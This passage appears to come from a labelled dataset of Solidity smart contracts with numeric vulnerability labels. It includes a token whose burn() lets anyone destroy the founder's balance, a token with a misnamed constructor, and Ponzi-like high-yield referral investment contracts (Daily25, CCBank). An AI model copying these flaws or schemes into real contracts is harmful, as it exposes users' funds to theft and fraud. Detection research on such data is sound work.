chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "TRNCoins";
string public constant TOKEN_SYMBOL = "CTRN";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0x7262F84bc6eABc71B14517E4fE40F5d33d4B03E9;
uint public constant START_TIME = 1542309120;
bool public constant CONTINUE_MINTING = true;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[1] memory weiRaisedStartsBounds = [uint(0)];
uint[1] memory weiRaisedEndsBounds = [uint(6000000000000000000000)];
uint64[1] memory timeStartsBounds = [uint64(1542309120)];
uint64[1] memory timeEndsBounds = [uint64(1564600315)];
uint[1] memory weiRaisedAndTimeRates = [uint(100)];
for (uint i = 0; i < 1; i++) {
bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]);
bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
uint[2] memory weiAmountBounds = [uint(1000000000000000000000),uint(10000000000000000000)];
uint[2] memory weiAmountRates = [uint(0),uint(200)];
for (uint j = 0; j < 2; j++) {
if (_weiAmount >= weiAmountBounds[j]) {
bonusRate += bonusRate * weiAmountRates[j] / 1000;
break;
}
}
return bonusRate;
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping (address => bool) private whitelist;
event WhitelistedAddressAdded(address indexed _address);
event WhitelistedAddressRemoved(address indexed _address);
modifier onlyIfWhitelisted(address _buyer) {
require(whitelist[_buyer]);
_;
}
function addAddressToWhitelist(address _address) external onlyOwner {
whitelist[_address] = true;
emit WhitelistedAddressAdded(_address);
}
function addAddressesToWhitelist(address[] _addresses) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
whitelist[_addresses[i]] = true;
emit WhitelistedAddressAdded(_addresses[i]);
}
}
function removeAddressFromWhitelist(address _address) external onlyOwner {
delete whitelist[_address];
emit WhitelistedAddressRemoved(_address);
}
function removeAddressesFromWhitelist(address[] _addresses) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
delete whitelist[_addresses[i]];
emit WhitelistedAddressRemoved(_addresses[i]);
}
}
function isWhitelisted(address _address) public view returns (bool) {
return whitelist[_address];
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyIfWhitelisted(_beneficiary)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
, WhitelistedCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(20 * TOKEN_DECIMAL_MULTIPLIER, 0xba4A4B23e98668205e5e5246d42dbd8c49A11E48, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1564600320)
CappedCrowdsale(6000000000000000000000)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < closingTime);
require(now < _endTime);
require(_endTime > openingTime);
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
closingTime = _endTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value <= 2000000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 0 | 952 |
pragma solidity ^0.4.24;
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function transfer(address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
}
contract LendoToken is ERC20Interface{
string public name = "Lendo";
string public symbol = "LDO";
uint public decimals = 18;
uint public supply;
address public founder;
mapping(address => uint) public balances;
event Transfer(address indexed from, address indexed to, uint tokens);
constructor() public{
supply = 100000000000000000000000000;
founder = msg.sender;
balances[founder] = supply;
}
function totalSupply() public view returns (uint){
return supply;
}
function balanceOf(address tokenOwner) public view returns (uint balance){
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success){
require(balances[msg.sender] >= tokens && tokens > 0);
balances[to] += tokens;
balances[msg.sender] -= tokens;
emit Transfer(msg.sender, to, tokens);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balances[founder] >= _value);
balances[founder] -= _value;
supply -= _value;
return true;
}
} | 1 | 2,628 |
pragma solidity ^0.4.24;
contract Daily25 {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 115;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.25 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,672 |
pragma solidity 0.4.25;
contract ERC20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function allowance(address approver, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed approver, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Trustee {
using SafeMath for uint256;
struct Holding {
uint256 quantity;
uint256 releaseDate;
bool isAffiliate;
}
modifier onlyIssuer {
require(msg.sender == issuer, "You must be issuer/owner to execute this function.");
_;
}
modifier onlyTransferAgent {
require(msg.sender == transferAgent, "You must be the Transfer Agent to execute this function.");
_;
}
address public issuer;
mapping(address => Holding) public heldTokens;
address public tokenContract;
address public transferAgent;
uint256 public oneYear = 0;
event TokensHeld(address indexed who, uint256 tokens, uint256 releaseDate);
event TokensReleased(address indexed who, uint256 tokens);
event TokensTransferred(address indexed from, address indexed to, uint256 tokens);
event ReleaseDateExtended(address who, uint256 newReleaseDate);
event AffiliateStatusChanged(address who, bool isAffiliate);
constructor(address erc20Contract) public {
issuer = msg.sender;
tokenContract = erc20Contract;
}
function setTransferAgent(address who) public onlyIssuer {
transferAgent = who;
}
function hold(address who, uint256 quantity) public onlyIssuer {
require(who != 0x0, "The null address cannot own tokens.");
require(quantity != 0, "Quantity must be greater than zero.");
require(!isExistingHolding(who), "Cannot overwrite an existing holding, use a new wallet.");
Holding memory holding = Holding(quantity, block.timestamp+oneYear, false);
heldTokens[who] = holding;
emit TokensHeld(who, holding.quantity, holding.releaseDate);
}
function postIcoHold(address who, uint256 quantity, uint256 addedTime) public onlyTransferAgent {
require(who != 0x0, "The null address cannot own tokens.");
require(quantity != 0, "Quantity must be greater than zero.");
require(!isExistingHolding(who), "Cannot overwrite an existing holding, use a new wallet.");
Holding memory holding = Holding(quantity, block.timestamp+addedTime, false);
heldTokens[who] = holding;
emit TokensHeld(who, holding.quantity, holding.releaseDate);
}
function canRelease(address who) public view returns (bool) {
Holding memory holding = heldTokens[who];
if(holding.releaseDate == 0 || holding.quantity == 0)
return false;
return block.timestamp > holding.releaseDate;
}
function release(address who) public onlyTransferAgent returns (bool) {
Holding memory holding = heldTokens[who];
require(!holding.isAffiliate, "To release tokens for an affiliate use partialRelease().");
if(block.timestamp > holding.releaseDate) {
bool res = ERC20Interface(tokenContract).transfer(who, holding.quantity);
if(res) {
heldTokens[who] = Holding(0, 0, holding.isAffiliate);
emit TokensReleased(who, holding.quantity);
return true;
}
}
return false;
}
function partialRelease(address who, address tradingWallet, uint256 amount) public onlyTransferAgent returns (bool) {
require(tradingWallet != 0, "The destination wallet cannot be null.");
require(!isExistingHolding(tradingWallet), "The destination wallet must be a new fresh wallet.");
Holding memory holding = heldTokens[who];
require(holding.isAffiliate, "Only affiliates can use this function; use release() for non-affiliates.");
require(amount <= holding.quantity, "The holding has less than the specified amount of tokens.");
if(block.timestamp > holding.releaseDate) {
bool res = ERC20Interface(tokenContract).transfer(tradingWallet, amount);
if(res) {
heldTokens[who] = Holding(holding.quantity.sub(amount), holding.releaseDate, holding.isAffiliate);
emit TokensReleased(who, amount);
return true;
}
}
return false;
}
function transfer(address from, address to, uint256 amount) public onlyTransferAgent returns (bool) {
require(to != 0x0, "Cannot transfer tokens to the null address.");
require(amount > 0, "Cannot transfer zero tokens.");
Holding memory fromHolding = heldTokens[from];
require(fromHolding.quantity >= amount, "Not enough tokens to perform the transfer.");
require(!isExistingHolding(to), "Cannot overwrite an existing holding, use a new wallet.");
heldTokens[from] = Holding(fromHolding.quantity.sub(amount), fromHolding.releaseDate, fromHolding.isAffiliate);
heldTokens[to] = Holding(amount, fromHolding.releaseDate, false);
emit TokensTransferred(from, to, amount);
return true;
}
function addTime(address who, uint sconds) public onlyTransferAgent returns (bool) {
require(sconds > 0, "Time added cannot be zero.");
Holding memory holding = heldTokens[who];
heldTokens[who] = Holding(holding.quantity, holding.releaseDate.add(sconds), holding.isAffiliate);
emit ReleaseDateExtended(who, heldTokens[who].releaseDate);
return true;
}
function setAffiliate(address who, bool isAffiliate) public onlyTransferAgent returns (bool) {
require(who != 0, "The null address cannot be used.");
Holding memory holding = heldTokens[who];
require(holding.isAffiliate != isAffiliate, "Attempt to set the same affiliate status that is already set.");
heldTokens[who] = Holding(holding.quantity, holding.releaseDate, isAffiliate);
emit AffiliateStatusChanged(who, isAffiliate);
return true;
}
function isExistingHolding(address who) public view returns (bool) {
Holding memory h = heldTokens[who];
return (h.quantity != 0 || h.releaseDate != 0);
}
} | 0 | 2,004 |
pragma solidity ^0.4.21 ;
contract LAA_INTL_HOLD_301201 {
mapping (address => uint256) public balanceOf;
string public name = " LAA_INTL_HOLD_301201 " ;
string public symbol = " LAIHI " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 29469576425887700000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 3,041 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
bool isReInvest;
}
struct Plan {
uint256 dailyInterest;
uint256 term;
uint256 limit;
uint256 perInvestorLimit;
uint256 leftAmount;
uint256 lastUpdateDate;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract CCBank is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 30;
uint256 public constant MARKETING_RATE = 70;
uint256 public constant REFERENCE_RATE = 80;
uint256 public constant REFERENCE_LEVEL1_RATE = 50;
uint256 public constant REFERENCE_LEVEL2_RATE = 20;
uint256 public constant REFERENCE_LEVEL3_RATE = 10;
uint256 public constant MINIMUM = 0.01 ether;
uint256 public constant REFERRER_CODE = 3466;
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
address private developerAccount_;
address private marketingAccount_;
address private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0);
}
}
function checkIn() public {
}
function setMarketingAccount(address _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setDeveloperAccount(address _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developerAccount_ = _newDeveloperAccount;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function setReferenceAccount(address _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function setPlanLimit(uint256 _planId, uint256 _perInvestorLimit, uint256 _addAmount) public onlyOwner {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
Objects.Plan storage plan = investmentPlans_[_planId];
plan.perInvestorLimit = _perInvestorLimit;
plan.leftAmount = plan.leftAmount.add(_addAmount);
plan.lastUpdateDate = block.timestamp;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan( 50, 0, 0, 0, 0, block.timestamp));
investmentPlans_.push(Objects.Plan( 60, 45*60*60*24, 0, 0, 0, block.timestamp));
investmentPlans_.push(Objects.Plan( 70, 25*60*60*24, 0, 0, 0, block.timestamp));
investmentPlans_.push(Objects.Plan( 80, 18*60*60*24, 0, 0, 0, block.timestamp));
investmentPlans_.push(Objects.Plan(100, 0, 1, 1 ether, 2000 ether, block.timestamp));
}
function getCurrentPlans() public view returns (uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
uint256[] memory limits = new uint256[](investmentPlans_.length);
uint256[] memory perInvestorLimits = new uint256[](investmentPlans_.length);
uint256[] memory leftAmounts = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
terms[i] = plan.term;
limits[i] = plan.limit;
perInvestorLimits[i] = plan.perInvestorLimit;
leftAmounts[i] = plan.leftAmount;
}
return
(
ids,
interests,
terms,
limits,
perInvestorLimits,
leftAmounts
);
}
function addNewPlan(uint256 dailyInterest, uint256 term, uint256 limit, uint256 perInvestorLimit, uint256 leftAmount) public onlyOwner {
investmentPlans_.push(Objects.Plan(dailyInterest, term, limit, perInvestorLimit, leftAmount, block.timestamp));
}
function getTotalInvestments() public onlyOwner view returns (uint256){
return totalInvestments_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(
investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
currentDividends,
newDividends
);
}
function getInvestorPlanLimitsByUID(uint256 _uid, uint256 _planId) public view returns (uint256, uint256, uint256) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
Objects.Investor storage investor = uid2Investor[_uid];
Objects.Plan storage plan = investmentPlans_[_planId];
uint256 totalInvestment = 0;
uint256 leftInvestmentLimit = 0;
if (plan.limit != 0) {
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].planId != _planId || investor.plans[i].investmentDate < plan.lastUpdateDate) {
continue;
}
totalInvestment = totalInvestment.add(investor.plans[i].investment);
}
leftInvestmentLimit = (totalInvestment > plan.perInvestorLimit) ? 0 : plan.perInvestorLimit.sub(totalInvestment);
}
return
(
plan.limit,
plan.leftAmount,
leftInvestmentLimit
);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
isExpireds[i] = true;
}
}
}
}
return
(
planIds,
investmentDates,
investments,
currentDividends,
isExpireds
);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount, bool isReInvest) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
} else {
}
_checkLimit(uid, _planId, _amount);
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.plans[planCount].isReInvest = isReInvest;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(uid, _amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function _checkLimit(uint256 _uid, uint256 _planId, uint256 _amount) private {
Objects.Plan storage plan = investmentPlans_[_planId];
if (plan.limit > 0) {
require(plan.leftAmount >= _amount && plan.perInvestorLimit >= _amount, "1 - Not enough limit");
Objects.Investor storage investor = uid2Investor[_uid];
uint256 totalInvestment = 0;
uint256 leftInvestmentLimit = 0;
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].planId != _planId || investor.plans[i].investmentDate < plan.lastUpdateDate) {
continue;
}
totalInvestment = totalInvestment.add(investor.plans[i].investment);
}
leftInvestmentLimit = (totalInvestment > plan.perInvestorLimit) ? 0 : plan.perInvestorLimit.sub(totalInvestment);
require(leftInvestmentLimit >= _amount, "2 - Not enough limit");
plan.leftAmount = plan.leftAmount.sub(_amount);
}
}
function grant(address addr, uint256 _planId) public payable {
uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value, false)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
